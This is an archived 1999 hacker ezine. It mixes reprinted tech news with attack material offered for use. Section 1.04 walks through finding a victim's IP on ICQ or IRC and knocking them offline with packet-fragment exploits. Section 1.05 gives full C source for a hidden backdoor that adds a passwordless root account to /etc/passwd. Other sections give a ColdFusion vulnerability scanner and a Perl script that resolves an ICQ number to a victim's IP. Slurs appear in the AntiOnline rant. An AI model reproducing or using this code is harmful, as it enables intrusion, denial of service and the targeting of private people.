home *** CD-ROM | disk | FTP | other *** search
/ Cuteskunk BBS / cuteskunk.zip / cuteskunk / unsorted-zines / Antidote2.txt < prev    next >
Text File  |  2003-06-29  |  35KB  |  896 lines
  1. Antidote Volume 2 Issue 2
  2. (5/ /99)
  3.  
  4.  
  5.            **                                             **                     
  6.         *****                         *       *            **                  * 
  7.        *  ***                        **      ***           **                 **        
  8.           ***                        **       *            **                 **                 
  9.          *  **                     ********                **      ****     ********        
  10.          *  **       ***  ****    ********  ***        *** **     * ***  * ********   ***    
  11.         *    **       **** **** *    **      ***      *********  *   ****     **     * *** 
  12.         *    **        **   ****     **       **     **   ****  **    **      **    *   ***  
  13.        *      **       **    **      **       **     **    **   **    **      **   **    *** 
  14.        *********       **    **      **       **     **    **   **    **      **   ********  
  15.       *        **      **    **      **       **     **    **   **    **      **   ******* 
  16.       *        **      **    **      **       **     **    **   **    **      **   **        
  17.      *****      **     **    **      **       **     **    **    ******       **   ****    * 
  18.     *   ****    ** *   ***   ***      **      *** *   *****       ****         **   *******  
  19.    *     **      **     ***   ***              ***     ***                           *****   
  20.    *                                                                      
  21.     ** 
  22.                                                                    
  23.        
  24.    ------------------------------
  25.     Well here is another ezine put out by Antidote. This is our 5th issue that has come out. We
  26.     have over 380 subscribers so far and we hope to get more. Please keep in mind that this is
  27.     an educational ezine in wich we are not responsible for any information on here that you might
  28.     use in the wrong and improper way. Also, please keep in mind that just because we 'print' this
  29.     information, that it doesn't mean that we made the thing or the exploit up. Most everything in
  30.     this magazine is made by someone else and is recieved second hand (sent to us), in wich is
  31.     printed/posted on here by us.
  32.  
  33.  
  34.    --=\\Contents\\=--
  35.  
  36.     0.00 - Beginng
  37.        0.01 - What?
  38.        0.02 - FAQ
  39.        0.03 - Shouts
  40.        0.04 - Writing
  41.  
  42.     1.00 - News & Exploits
  43.        1.01 - Erasing Trails
  44.        1.02 - Domain Name Glitch
  45.        1.03 - Java Glitch
  46.        1.04 - Security Hole in Firewalls
  47.        1.05 - backdoor.c
  48.        1.06 - Cold Fusion Scanner
  49.        1.07 - UIN2IP
  50.  
  51.     2.00 - Misc.
  52.        2.01 - Hacking Group Report
  53.        2.02 - AntiOnline
  54.        2.03 - Cold Fusion
  55.    ----------------------------
  56.  
  57.  
  58.  
  59.    --=\\0.00\\=--
  60.  
  61.    0.01 --=\\What?\\=--
  62.  
  63.     What is 'Antidote'? Well, we wouldn't say that Antidote is a hacking magazine, cause that
  64.     would be wrong. We don't claim to be a hacking magazine. All Antidote is, is basically
  65.     current news and happenings in the underground world. We aren't going to teach you how to
  66.     hack or anything, but we will supply you with the current information and exploits. Mainly
  67.     Antidote is just a magazine for people to read if they have some extra time on there hands
  68.     and are bored with nothing to do. If you want to read a magazine that teaches you how to
  69.     hack etc, then you might want to go to your local bookstore and see if they carry '2600'.
  70.  
  71.    ----------------------------
  72.  
  73.  
  74.    0.02 --=\\FAQ\\=--
  75.     Here are a lot of questions that we seem to recieve a lot, or our "Frequently Asked
  76.     Questions". Please read this before e-mailing us with questions and if the question isn't
  77.     on here or doesn't make sense, then you can e-mail us with your question.
  78.  
  79.     > What exactly is "Antidote"?
  80.       See section 0.01 for a complete description.    
  81.     
  82.     > I find Antidote to not be shot for the beginner or does not teach you the basics, why is
  83.       that?
  84.       Antidote is for everyone, all we are basically is a news ezine that comes out once a
  85.       month with the current news, exploits, flaws and even programming. All of the articles
  86.       that are in here are recieved second hand (sent to us) and we very rarely edit anyone's
  87.       articles.
  88.  
  89.     > I just found Antidote issues on your webpage, is there anyway I can get them sent to me
  90.       through e-mail?
  91.       Yes, if you go to www.thepoison.org/antidote there should be a text box where you can
  92.       input your e-mail address. You will recieve Antidote the second we release it and it
  93.       will be sent as an attachments
  94.     
  95.     > If I want to submit something, are there any 'rules'?
  96.       Please see section 0.03 for a complete description.
  97.     
  98.     > If I submitted something, can I remain anonymous?
  99.       Yes. Just make sure that you specify what information about yourself you would like to
  100.       be published above your article (when sending it to us) and we will do what you say.
  101.  
  102.     > I submitted something and I didn't see it in the current/last issue, why is that?
  103.       It could be that someone else wrote something similar to what you wrote and they sent it
  104.       to us first. If you sent us something and we didn't e-mail you back, then you might want
  105.       to send it again because we probably didn't get it (we respond to all e-mails no matter
  106.       what). We might use your article in future issues of Antidote.
  107.     
  108.     > Can I submit something that I didn't "discover" or "write"?
  109.       Yes you can, we take information that is written by anyone regardless if you wrote it or
  110.       not.
  111.     
  112.     Well thats it for our FAQ. If you have a question that is not on here or the question is
  113.     on here and you had trouble understanding it, then please feel free to e-mail
  114.     lordoak@thepoison.org and he will answer your question. This FAQ will probably be updated
  115.     every month.
  116.  
  117.    ----------------------------
  118.  
  119.  
  120.    0.03 --=\\Shouts\\=--
  121.  
  122.     These are just some shout outs that we feel we owe to some people. Some are individuals
  123.     and Some are groups in general. If you are not on this list and you feel that For some
  124.     reason you should be, then please contact Lord Oak and he will post you on here and We
  125.     are sorry for the Misunderstanding. Well, here are the shout outs:
  126.  
  127.             Duece                ox1dation
  128.             Lord Oak            Forlorn
  129.             Altomo                0dnek
  130.             PBBSER                HNN [www.hackernews.com]
  131.             Thepoison.org            Retribution
  132.             403-security.org        EazyMoney
  133.  
  134.     Like we said above, if we forgot you and/or you think you should be added, please e-mail
  135.     lordoak@thepoison.org and he will be sure to add you.
  136.  
  137.    ----------------------------
  138.  
  139.  
  140.   0.04 --=\\Writing\\=--
  141.  
  142.  
  143.     As many of you know, we are always open to articles/submittings. We will take almost
  144.     anything that has to do with computer security. This leaves you open for:
  145.  
  146.        -Protecting the system (security/securing)
  147.        -Attacking the system (hacking, exploits, flaws, etc....)
  148.        -UNIX (really anything to do with it...)
  149.        -News that has to do with any of the above....
  150.  
  151.     The only thing that we really don't take is webpage hacks, like e-mailing us and saying
  152.     "www.xxx.com" was hacked... But if you have an opinion about the hacks that is fine. If
  153.     you have any questions about what is "acceptable" and not, please feel free to e-mail
  154.     Lord Oak [lordoak@thepoison.org] with your question and he will answer it. Also, please
  155.     note that if we recieve two e-mails with the same topic/idea then we will use the one that
  156.     we recieved first. So it might be a good idea to e-mail one of us and ask us if someone has
  157.     written about/on this topic so that way you don't waste your time on writing something that
  158.     won't be published. An example of this would be:
  159.  
  160.        If Joe sends me an e-mail with the topic being on hacking hotmail accounts on thursday.
  161.        And then Bill sends us an e-mail on hacking hotmail accounts on sunday, we will take
  162.        Joe's article because he sent it in first.
  163.  
  164.     But keep in mind, we might use your article for the next issue! If you have something that
  165.     you would like to submit to Antidote, please e-mail lordoak@thepoison.org or
  166.     duece@thepoison.org  and we will review the article and put it in Antidote (if we like it).
  167.  
  168.    ----------------------------
  169.  
  170.  
  171.  
  172.    --=\\1.00\\=--
  173.  
  174.    1.01 --=\\Erasing Trails\\=--
  175.  
  176.     [www.wired.com]
  177.  
  178.     Email leaves a trail. Zero-Knowledge Systems is out to cover it up. 
  179.     The Canadian privacy technology start-up said Monday that it had signed up 50 Internet 
  180.     service providers and networks to its Freedom Network, a software-service combination 
  181.     meant to bring more anonymity to Net users. 
  182.  
  183.     "This represents the first time that ISPs have taken concrete steps to address users' 
  184.     privacy concerns," said Austin Hill, president of Zero-Knowledge Systems in a statement. 
  185.     The company announced the news at this week's ISPCon in Baltimore. 
  186.  
  187.     Mail servers at participating ISPs and networks use the service to encrypt an email 
  188.     message's data and route it via an untraceable path, Zero-Knowledge said. Zero-Knowledge 
  189.     says the technique protects users from uninvited scrutiny of their online activities. 
  190.  
  191.     The 50 participating providers and networks -- which don't include any high-profile US 
  192.     ISPs -- are located in the United States, Great Britain, the Netherlands, Japan, Canada, 
  193.     Austria, and Australia. 
  194.  
  195.     Also announced at ISPCon on Monday was a plan by Inktomi and Sandpiper Networks to merge 
  196.     two technologies that take different approaches to speeding the delivery of Web pages to 
  197.     end users. 
  198.  
  199.     Sandpiper Networks said it plans to integrate its Adaptive Content Distribution 
  200.     technology with Inktomi's Traffic Server network caching technology. 
  201.  
  202.     Inktomi's Web-caching technology creates local copies of an ISP's most frequently 
  203.     requested pages for its users. The reactive process stores Web content according 
  204.     to the frequency of customers' requests. 
  205.  
  206.     Sandpiper's Footprint service is driven more by the decisions of content providers. 
  207.  
  208.     Heavily visited Web sites sign up for Footprint to expressly get their content on the 
  209.     geographically dispersed Sandpiper Footprint network. Both systems work on the principle 
  210.     of reducing the network distance between users and Web-page content. 
  211.  
  212.     The companies said Inktomi's Traffic Server will provide cache platform to help power 
  213.     Sandpiper's content servers for the Footprint network. 
  214.  
  215.     As part of the agreement, Inktomi has also agreed to invest in Sandpiper's $21.5-million, 
  216.     second-round financing.  Other investors include America Online, Eagle New Media 
  217.     Investment LLC, an investment affiliate of the Times-Mirror Company, and 
  218.     Hambrecht & Quist.
  219.     
  220.      http://www.wired.com/news/news/technology/story/19327.html
  221.    ----------------------------
  222.  
  223.  
  224.    1.02 --=\\Domain Name Glitch\\=--
  225.  
  226.     [www.wired.com]
  227.  
  228.     As the "test period" for new domain name registrars officially began, Network Solutions 
  229.     continued to suffer from technical glitches. 
  230.     
  231.     Work was completed on the Internic Registration Services database over the weekend. On 
  232.     Monday, however, a problem at Network Solutions prevented some of its customers from 
  233.     making changes to their domain names. 
  234.  
  235.     Network Solutions spokesperson Brian O'Shaughnessy tried to downplay the inconvenience. 
  236.     "It runs the gamut from negligible to probably a fair level of nuisance to registrants 
  237.     who are trying to do some changes to their site." 
  238.  
  239.     The Internic database generally lists technical, administrative, and billing contacts, 
  240.     called "handles," for domain name owners. A user must use his or her handle to make 
  241.     changes to a site. For example, if a domain administrator wanted to add to the domain a 
  242.     server with a new IP address, he would have to use his handle -- often an email 
  243.     address -- to notify Network Solutions of the change. 
  244.  
  245.     Some domain name handles started disappearing over the weekend, and Network Solutions 
  246.     has yet to determine how many domain name holders have been affected. 
  247.  
  248.     "Some files just list the administrative and technical contacts and won't list the 
  249.     billing contact,"  O'Shaughnessy said. 
  250.  
  251.     Some customers have complained that none of the contact listings appear for some 
  252.     domains, which was confirmed by searching the Network Solutions database. 
  253.  
  254.     O'Shaughnessy insisted that the content of the database was still intact internally at 
  255.     Network Solutions. 
  256.  
  257.     But some customers were outraged at another in a long string of failures by Network 
  258.     Solutions.
  259.  
  260.     "The handle is the most important thing in the [registration] database," said Danish 
  261.     Internet lawyer and author Dennis Willardt Zewillis. "It is a point of contact -- so that 
  262.     only administrative or technical contact can change domain names around from server to 
  263.     server."
  264.  
  265.     Zewillis' domain, domainnamelaw.com, was missing its contact information when he looked 
  266.     it up on Friday night, and it was still missing on Monday. 
  267.  
  268.     "I think [Network Solutions was] trying to hide how easy it is to really mess up the 
  269.     whole domain name system," Zewillis said. "And that's worrying me a lot. It's happening 
  270.     every month." 
  271.  
  272.     In January, Zewillis alerted Network Solutions to a far more serious problem: Instead of 
  273.     disappearing, domain name contacts were temporarily reassigned at random to people who 
  274.     were not associated with those domains. 
  275.  
  276.     "They were changed so that other people's email addresses were listed as the email 
  277.     contact," he said. "This gave the person listed as the contact the ability to make 
  278.     changes to a domain." [A man in Canada who was assigned control over a spate of domains] 
  279.     could have totally messed around with 100,000 domains." 
  280.  
  281.     Zewillis said that, at the very least, Network Solutions should have notified customers 
  282.     about this problem. 
  283.  
  284.     Other users reported the same problem on Internet mailing lists on Monday. Some were 
  285.     equally dissatisfied with Network Solutions' response that their contact information 
  286.     would reappear at some point in the near future. 
  287.  
  288.     Derrick Bennett, who runs a domain name management company, agreed that it was the 
  289.     latest in a series of problems. 
  290.  
  291.     "The only technical effect this has is in the time I have wasted calling NetSol's 
  292.     non-800 number [to find out what was wrong] and the time I will spend next week checking 
  293.     all of my domains again," said Bennett. 
  294.  
  295.     Two months ago, Bennett said a domain that his company managed was mistakenly redirected 
  296.     to another Web site.  "They had done a global DNS change for another customer and 
  297.     accidentally changed my customer's record to point at another DNS server." 
  298.  
  299.     It took two days to fix and cost his customer time and lost revenue "for something they 
  300.     have no control over and no recourse for," Bennett said. 
  301.  
  302.     Network Solutions attributes the problems to the growth of the Internet. 
  303.  
  304.     "You're dealing with an industry that is essentially the fastest-growing segment of the 
  305.     Internet," O'Shaughnessy said. "More people are getting on the Net and they have to go 
  306.     through Network Solutions."
  307.  
  308.     http://www.wired.com/news/news/technology/story/19342.html
  309.    ----------------------------
  310.  
  311.  
  312.    1.03 --=\\Java Glitch\\=--
  313.  
  314.     There is a new bug that causes the Windows 95 and 98 operating system to crash. Joseph 
  315.     Ashwood (the 'foudner') said that it keeps creating multiple computing processes called 
  316.     "threads". What it does it is keeps creating these threads until the system runs out of 
  317.     memory (or RAM) forcing you to reboot your computer.
  318.  
  319.     Microsoft and Sun identified or called this program a "denial of service attack" (or a 
  320.     DOS). Considering that it overloads the system and slows it down.
  321.  
  322.     For more information, visit Joseph Ashwood's homepage wich is located at:
  323.     
  324.     http://www-scf.usc.edu/~ashwood
  325.    ----------------------------
  326.  
  327.  
  328.    1.04 --=\\Security Hole in Firewalls\\=--
  329.  
  330.     SECURITY HOLES IN CONSEAL PC FIREWALLS
  331.  
  332.     Anther seucrty hole in the Conseal PC Firewall a.k.a. signal9
  333.     Just think of all the wanna be "hackers" that are going to crash cuz of this dos/oob
  334.     atack. I think it is funny as hell.
  335.  
  336.  
  337.  
  338.     This trick works best with ICQ and IRC
  339.  
  340.     I write this for educational use only!!
  341.     If you get kicked off your isp cuz you did not do it right it is your own damn falt not
  342.     mine.
  343.  
  344.     Here we go,
  345.  
  346.     First off get the victims ip# off  ICQ or on IRC they could be spoofed type this to get
  347.     a the real ip# on IRC /dns <there name>.Which gives:<therename>=+user@194.134.10.162.
  348.     This is his true ip  #4. Now once again you /dns 194.134.10.162. This time, there is a
  349.     response Resolved to <the dns user resolved> If he/she has you on there ignore list on
  350.     ICQ then make another account and readd that uin# or Try to find some one there talking
  351.     to that is on the victims list and is on your list too either way you'll get their ip#.
  352.     What you got to do now is open a exploit (nestea or boink, newtear etc for Linux) (the
  353.     best to use is Exploit Generator v0.85 for Windows) run a netstat "dns their ip#" get
  354.     the port open from that host. You should now have the victims ip# and port , then send
  355.     a packet just 1 from a regognized host they talk to seldomly "note" 79% firewall users
  356.     have such fucked up rulsets or so many incoming hosts that they let 1 packet through.
  357.     that packet is let through on their ruleset, so it registers =) ding! It may take a while
  358.     for the packet to send the whole fragment but within a matter of seconds. Boom watch the
  359.     dumb fuck go offline. There are other ways of forcing backdoors open on conseal PC
  360.     firewall "considering it has 2 flaws" As to be said by many firewall annaylists "conseal 
  361.     pc firewall" is the most secure firewall to prevent attacks against hackers. Well you
  362.     annalzers check twice next time :) 
  363.  
  364.     This has been tested aginst win nt 4.0 win 95/98
  365.     I would like to say about 99% considering you have some firewall warrior out amongst us.
  366.     This is good to prove to pepole that think there really secure that thay ain't got shit
  367.     basicly. Even lamers can prove them worng.
  368.  
  369.      EazyMoney    
  370.      eazy_money@Cyber-Strike.com
  371.    ----------------------------
  372.  
  373.  
  374.    1.05 --=\\backdoor.c\\=--
  375.  
  376.     /* 
  377.     A rip off a sockets tutorial i found somewhere cause I didn't feel like
  378.     writing stupid basic sockets code when I had it in my src directory
  379.     already.   
  380.     */ 
  381.  
  382.     /* Greets:
  383.         Undernet Channels:
  384.             #rootworm, #hacktech, #hyperlink, #3xposure, #legionoot
  385.         Groups:
  386.             The LegionOOT (www.legionoot.cc), Team Sploit
  387.         People:
  388.             Cyph3r, n3m0, Adoni, f0bic, d0g, khe0ps, h-S-t,
  389.             F-o-X, NeonMatrix, Azmodan, & Venomous
  390.     /* 
  391.  
  392.     Usage (setup):
  393.         # gcc -o backdoor backdoor.c
  394.         # ./backdoor password &
  395.     Usage (using):
  396.         telnet to host (port 505) --> type the password (don't wait for a
  397.         prompt, there isn't one so its less obvious its a backdoor) -->
  398.         type 1or 2.  And yes it's _supposed_ to disconnect you after
  399.         each command.
  400.     */
  401.  
  402.          #include <stdio.h>
  403.          #include <stdlib.h>
  404.          #include <errno.h>
  405.          #include <string.h>
  406.          #include <sys/types.h>
  407.          #include <netinet/in.h>
  408.          #include <sys/socket.h>
  409.          #include <sys/wait.h>
  410.     #define PORT 505
  411.     #define MAXDATASIZE 100
  412.     #define BACKLOG 10
  413.  
  414.     void handle(char *command);
  415.     int main(int argc, char *argv[])
  416.     {
  417.     int sockfd, new_fd, sin_size, numbytes;
  418.     char *bytes;
  419.     struct sockaddr_in my_addr;
  420.     struct sockaddr_in their_addr;
  421.  
  422.     char buf[MAXDATASIZE];
  423.     char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to
  424.     send '7h1s b0x 1s 0wn3d' to all people on the box: ";
  425.         if (argc != 2) {
  426.             fprintf(stderr,"Usage: %s password\n", argv[0]);
  427.             exit(1);
  428.         }
  429.         if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  430.             perror("socket");
  431.             exit(1);
  432.         }
  433.         my_addr.sin_family = AF_INET;
  434.         my_addr.sin_port = htons(PORT);
  435.         my_addr.sin_addr.s_addr = INADDR_ANY;
  436.         if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)
  437.         {
  438.             perror("bind");
  439.             exit(1);
  440.         }
  441.                   if (listen(sockfd, BACKLOG) == -1) {
  442.                     perror("listen");
  443.                     exit(1);
  444.  
  445.           }
  446.  
  447.               while(1) {  /* main accept() loop */
  448.  
  449.                     sin_size = sizeof(struct sockaddr_in);
  450.                 if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \
  451.                                                                              &sin_size)) ==
  452.     {
  453.                      perror("accept");
  454.                      continue;
  455.                 }
  456.  
  457.     inet_ntoa(their_addr.sin_addr);
  458.                 if (!fork()) {
  459.                      recv(new_fd, buf,
  460.     MAXDATASIZE, 0);
  461.                 bytes = strstr(buf, argv[1]);
  462.  
  463.  
  464.     if (bytes != NULL){
  465.  
  466.                     send(new_fd, ask, sizeof(ask), 0);
  467.  
  468.                     numbytes=recv(new_fd, buf,
  469.     MAXDATASIZE, 0);
  470.                     buf[numbytes] = '\0';
  471.                     handle(buf);
  472.                      }
  473.                      close(new_fd);
  474.                      exit(0);
  475.                 }
  476.                 close(new_fd);
  477.  
  478.                 while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child
  479.     processes */
  480.          }
  481.     }
  482.  
  483.         void handle(char *command)
  484.         {
  485.         FILE *fle;
  486.         if(strstr(command, "1") != NULL)
  487.     {
  488.         fle = fopen("/etc/passwd", "a+");
  489.         fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash");
  490.         fclose(fle);
  491.     }
  492.         if(strstr(command, "2") != NULL)
  493.     {
  494.         system("wall 7h1s b0x 1s 0wn3d");
  495.     }
  496.     }
  497.  
  498.      PBBSER
  499.      pbbser@legionoot.hypermart.net
  500.    ----------------------------
  501.  
  502.  
  503.    1.06 --=\\Cold Fusion Scanner\\=--
  504.  
  505.        /*
  506.        COLD FUSION VULNERABILITY TESTER - Checks for the l0pht advisory
  507.        "Cold Fusion Application Server Advisory" dated 4.20.1999
  508.        you can find a copy of this advisory and all other
  509.        l0pht Security Advisories here:
  510.        http://www.l0pht.com/advisories.html
  511.          
  512.        much of this program was blatently copied from the cgi scanner released about
  513.        a week ago, written by su1d sh3ll...  I just want to give credit where credit
  514.        is due...  this particular scanner was "written" (basically modified) by
  515.        hypoclear of lUSt - Linux Users Strike Today...  I know that it is trivial to
  516.        check to see if a server is vulnerable, but I had fun doing this so who the
  517.        heck cares if I want to waste my time...
  518.        
  519.        while I'm here I minds well give shout outs to:
  520.        Phrozen Phreak (fidonet rules)
  521.        Special K (you will never get rid of my start button ;-)
  522.                        go powerpuff girls (he he) ;-)
  523.        
  524.        compile:   gcc -o coldscan coldscan.c
  525.        usage:     coldscan host
  526.        tested on: IRIX Release 5.3 (this should compile on most *NIX systems though)
  527.        */
  528.        
  529.        
  530.        #include <fcntl.h>
  531.        #include <sys/types.h>
  532.        #include <sys/socket.h>
  533.        #include <netinet/in.h>
  534.        #include <signal.h>
  535.        #include <stdio.h>
  536.        #include <string.h>
  537.        #include <netdb.h>
  538.        #include <ctype.h>
  539.        #include <arpa/nameser.h>
  540.        #include <sys/stat.h>
  541.        #include <strings.h>
  542.        #include <stdio.h>
  543.        #include <stdlib.h>
  544.        #include <unistd.h>
  545.        #include <sys/socket.h>
  546.        
  547.        void main(int argc, char *argv[])
  548.        {
  549.         int sock,debugm=0;
  550.         struct in_addr addr;
  551.         struct sockaddr_in sin;
  552.         struct hostent *he;
  553.         unsigned long start;
  554.         unsigned long end;
  555.         unsigned long counter;
  556.         char foundmsg[] = "200";
  557.         char *cgistr;
  558.         char buffer[1024];
  559.         int count=0;
  560.         int numin;
  561.         char cfbuff[1024];
  562.         char *cfpage[5];
  563.         char *cfname[5];
  564.        
  565.        
  566.         cfpage[1] = "GET /cfdocs/expeval/openfile.cfm HTTP/1.0\n\n";
  567.         cfpage[2] = "GET /cfdocs/expeval/displayopenedfile.cfm HTTP/1.0\n\n";
  568.         cfpage[3] = "GET /cfdocs/expeval/exprcalc.cfm HTTP/1.0\n\n";
  569.         
  570.        
  571.         cfname[1] = "openfile.cfm           ";
  572.         cfname[2] = "displayopenedfile.cfm  ";
  573.         cfname[3] = "exprcalc.cfm           ";
  574.        
  575.        
  576.         if (argc<2)
  577.           {
  578.           printf("\n-=COLD FUSION VULNERABILITY TESTER=-");
  579.           printf("\nusage - %s host \n",argv[0]);
  580.           exit(0);
  581.           }
  582.        
  583.         if ((he=gethostbyname(argv[1])) == NULL)
  584.           {
  585.           herror("gethostbyname");
  586.           exit(0);
  587.           }
  588.        
  589.         printf("\n-=COLD FUSION VULNERABILITY TESTER=-\n");
  590.         printf("scanning...\n\n");
  591.         start=inet_addr(argv[1]);
  592.         counter=ntohl(start);
  593.        
  594.           sock=socket(AF_INET, SOCK_STREAM, 0);
  595.           bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
  596.           sin.sin_family=AF_INET;
  597.           sin.sin_port=htons(80);
  598.        
  599.          if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
  600.             {
  601.             perror("connect");
  602.             }
  603.        
  604.        
  605.        while(count++ < 3)
  606.           {
  607.           sock=socket(AF_INET, SOCK_STREAM, 0);
  608.           bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
  609.           sin.sin_family=AF_INET;
  610.           sin.sin_port=htons(80);
  611.           if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
  612.             {
  613.             perror("connect");
  614.             }
  615.           printf("Searching for %s : ",cfname[count]);
  616.        
  617.           for(numin=0;numin < 1024;numin++)
  618.              {
  619.              cfbuff[numin] = '\0';
  620.              }
  621.         
  622.           send(sock, cfpage[count],strlen(cfpage[count]),0);
  623.           recv(sock, cfbuff, sizeof(cfbuff),0);
  624.           cgistr = strstr(cfbuff,foundmsg);
  625.           if( cgistr != NULL)
  626.               printf("Exists!\n");
  627.           else
  628.               printf("Not Found\n");
  629.              
  630.             close(sock);
  631.           }
  632.         }
  633.        
  634.    ----------------------------
  635.  
  636.  
  637.    1.06 --=\\UIN2IP\\=--
  638.  
  639.     #!/usr/bin/perl
  640.  
  641.     #
  642.     # coded, (i.e. slapped together in a lazy-ass way) by Dr. Labrat
  643.     #
  644.  
  645.     # Disclamer: If you use this to F*ck someone up, you are a bad, bad person. It wasn't me.
  646.     # You are on your own.
  647.     #
  648.     # Simple- give it a UIN and it will try to give you the IP address of the 
  649.     #victim.
  650.     #
  651.     # Only works if the user is online and is using the ICQ webserver, but then
  652.     # that is probably what you need anyhow :-)
  653.  
  654.     # see www.labrat.cx for icqget.pl for getting files from the victim...
  655.  
  656.     # Thought for the day: Using this makes you a script-kiddie.
  657.     #
  658.     # Thx to Packet St0rm
  659.  
  660.  
  661.     $uin=$ARGV[0];
  662.     $iaddr= gethostbyname("members.icq.com");
  663.  
  664.         if ($uin) {
  665.     $url = "/$uin";
  666.         } else {
  667.     die "No uin - Duh.\n";
  668.     }
  669.  
  670.     use IO::Socket;
  671.     use IO::Handle;
  672.  
  673.     $port = 80;
  674.  
  675.  
  676.     $proto = getprotobyname("tcp");
  677.     $paddr = sockaddr_in($port, $iaddr);
  678.  
  679.  
  680.     print "ICQ UIN to IP rsolver, by Dr. Labrat\n";
  681.  
  682.  
  683.     socket(DATA, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  684.     connect(DATA, $paddr) or die "Connect error: $!";
  685.     autoflush DATA 1;
  686.  
  687.     print "Connected to members.icq.com...\n";
  688.     print "Trying to resolve UIN: $uin\n";
  689.  
  690.     print DATA "GET $url HTTP/1.0\r\n\r\n\r\n";
  691.  
  692.     @data=<DATA>;
  693.  
  694.     if ( $data[0]=~/OK/){
  695.         foreach $chunk (@data) {
  696.             if ( $chunk=~/myhome.gif/) {
  697.                 print "Found UIN\n";
  698.                 $sneak=$chunk;
  699.                 last;
  700.                 }
  701.             }
  702.     } 
  703.  
  704.     if ($sneak) {
  705.         print "Snarfed the IP address!\n";    
  706.     } else {
  707.         die "User not online or not running ICW webserver, maybe doesn't even exist!\n";
  708.     }
  709.  
  710.  
  711.     @ip=split(/\"/,$sneak);
  712.  
  713.     $realip=substr($ip[1], 7,15);
  714.  
  715.     print "\n$realip\n\n";
  716.  
  717.     print "Done....\n";
  718.  
  719.     close DATA;
  720.  
  721.    ----------------------------
  722.  
  723.  
  724.  
  725.    --=\\2.00\\=--
  726.  
  727.    2.01 --=\\Hacking Group Report\\=--
  728.  
  729.     With more and more people connecting to the Internet these days, there's bound to be 
  730.     more new hackers and hacking groups.  In this issue of Antidote we will be looking at
  731.     a group that goes by the name of "The Hong Kong Danger Duo".  
  732.  
  733.     They claim not to be elite, and they call themselves 'script kiddies', but "The Hong Kong
  734.     Danger Duo" ( HKDD ) seems to be far from that.  They strike here and there, but when 
  735.     they do, their creative and funny web pages are a site to behold.  The members of HKDD 
  736.     which are Kung-P00, SpecialK, B0y wund3r, Jamaican J1m, Butt3ry L0bster M4n, and
  737.     Phel0n bring a sense of humor to the otherwise dull and un-inventive web page hacks in
  738.     resent history.  
  739.  
  740.     The HKDD are truly innovative and intelligent because they bring back the humor in 
  741.     web page hacking.  Unlike most hacks that only have " w3 0wn j00.. fj34|2 0u|2 3|2337
  742.     |20071n' 4b1l17135 f00" or something gay like that, the HKDD have creative and colorfull
  743.     pages that poke fun at the admin, whoever they are flaming at that time, and show off
  744.     their elite HTML skills.
  745.     
  746.     Hopefully in the near future, Antidote would like to have an interview with the HKDD.
  747.  
  748.     If you ever get the chance to see a HKDD hack, it's worth it.
  749.  
  750.      0dnek
  751.    ----------------------------
  752.  
  753.  
  754.    2.02 --=\\Antionline.com\\=--
  755.  
  756.     Yep.  Antionline.com.  It's gayer than ever.  With it's new site Anticode.com, 
  757.     and the promotion of Caroline Meinel's "Hacker Wargames", John Varenimastupidbitch, 
  758.     also known as JP, seems to be getting newer and gayer ideas to help Antionline.com 
  759.     become somewhat popular, which will never happen.
  760.  
  761.     Anticode.com is played off to be a "Site for security consultants", which basically means
  762.     that's it a cheap Rootshell.com rip-off.  It offers exploits, sniffers, and virus code 
  763.     on it's web site to promote computer security.  Even though the exploits are organized 
  764.     by OS and have descriptions by them, which is the only good thing about the entire 
  765.     site, It still remains gay and doesn't need to be visited.
  766.     
  767.     Along with the gayness of Anticode.com, is the promotion of Caroline Meinel's "Hacker 
  768.     Wargames".  The games seem to be posted and ran to help teach people about computer
  769.     security without breaking the law.  "This isn't to train computer criminals" says one 
  770.     site associated with the "Hacker Wargames".  But,  what else do they expect by offering 
  771.     completely vunerable servers to the public without fear of getting busted?  Doesn't make
  772.     much sense huh?
  773.     
  774.     The "Wargames" has a couple boxes open and a Cisco Router to hack into, also.  Along with
  775.     these boxes, are hints to l/p's for each box and for the Cisco Router, so someone looking
  776.     to learn a little bit more about computer security can log into the box of their choice
  777.     and attempt to root the server.  The award for wasting your time is your own personal
  778.     web page on the server you rooted.  But remember, their not trying to train computer
  779.     criminals.
  780.  
  781.      0dnek
  782.    ----------------------------
  783.  
  784.  
  785.    2.03 --=\\Cold Fusion\\=--
  786.  
  787.     As many of you saw last issue, we had the new cold fusion vulnerability. This has caused
  788.     a lot of problems for many servers and virtualy hosted domains. Many sites have been 
  789.     vandalized because of this bug and it has happened repeatedly to each server / domain.
  790.     An example of this would be: www.towngreen.com, they have been hacked 8 times, in wich 4
  791.     of them were because of the cold fusion vulnerability. Many sites / servers are finally
  792.     picking up on this and fixing it. Since all of the servers are fixing this problem, the
  793.     press is picking up on it also, here is an article that I found on ZDNet:
  794.  
  795.  
  796.     Article from: http://www.zdnet.com/zdnn/stories/news/0,4586,1014542,00.html
  797.     Hackers whack ColdFusion users
  798.  
  799.     By Jim Kerstetter and Antone Gonsalves, PC Week
  800.     April 29, 1999 3:09 PM PT 
  801.  
  802.  
  803.     New research on a five-month-old security vulnerability has put hackers on the prowl and
  804.     a software company on the hot seat. 
  805.  
  806.     Last week, L0pht, a site that devotes itself to discussions on computer security, posted
  807.     a warning about a vulnerability in the remote administration features of Allaire Corp.'s
  808.     ColdFusion Application Server 
  809.  
  810.     The vulnerability enables a hacker to gain access to all the data stored on that Web
  811.     server and, in the process, install software to create a back door into the rest of the
  812.     network. 
  813.  
  814.     Since that warning was posted last week -- along with a patch from Allaire (Nasdaq:ALLR)
  815.     -- security experts estimate that more than 100 sites have been hit. 
  816.  
  817.     Example app is to blame
  818.     Adam Berrey, product marketing director for ColdFusion, said the security breach
  819.     resulted from an example application that shipped with the server's documentation. Once
  820.     the application was deployed, a hacker could use it as a doorway to files on the server. 
  821.  
  822.     "In February, when we first discovered this issue, we sent out an e-mail to all of our
  823.     registered customers, and we also proactively contacted all of our key accounts," Berrey
  824.     said. "We may not have the name of every single customer in our database but I think
